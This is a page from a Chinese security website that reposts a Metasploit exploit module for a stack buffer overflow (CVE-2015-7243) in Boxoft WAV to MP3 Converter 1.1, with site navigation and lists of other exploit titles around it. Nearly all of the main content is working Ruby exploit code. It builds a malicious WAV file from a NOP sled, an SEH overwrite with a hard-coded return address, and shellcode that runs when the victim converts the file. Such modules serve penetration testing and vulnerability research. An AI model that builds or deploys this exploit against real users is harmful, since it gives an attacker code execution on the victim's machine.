首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Boxoft WAV To MP3 Converter 1.1 Buffer Overflow
来源:metasploit.com 作者:Pace 发布时间:2018-07-03  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow",
      'Description'    => %q{
       This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1.
       By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the
       application, a buffer is overwritten, which allows for running shellcode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Robbie Corley', # EDB POC
          'Shelby Pace'    # Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2015-7243' ],
          [ 'EDB', '38035' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Boxoft WAV to MP3 Converter v1.1',
            {
              'Ret' => 0x0040144c # P/P/R from wavtomp3.exe (1.1.0.0)
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "Aug 31 2015",
      'DefaultTarget'  => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'The malicious file name', 'music.wav'])
    ])
  end

  def exploit
    file_payload = payload.encoded

    buf = make_fast_nops(4132)
    buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
    buf << [target.ret].pack("V*")  # seh
    buf << file_payload
    # Size isn't very sensitive
    buf << make_fast_nops(5860)

    file_create(buf)
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·openslp 2.0.0 Double Free
·ManageEngine Exchange Reporter
·ntop-ng Authentication Bypass
·GitList 0.6.0 Argument Injecti
·Delta Industrial Automation CO
·HID discoveryd command_blink_o
·Nagios XI 5.2.6-5.4.12 - Chain
·HP VAN SDN Controller Root Com
·FTPShell Client 6.70 (Enterpri
·Grundig Smart Inter@ctive 3.0
·SIPp 3.6 - Local Buffer Overfl
·Boxoft WAV to WMA Converter 1.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved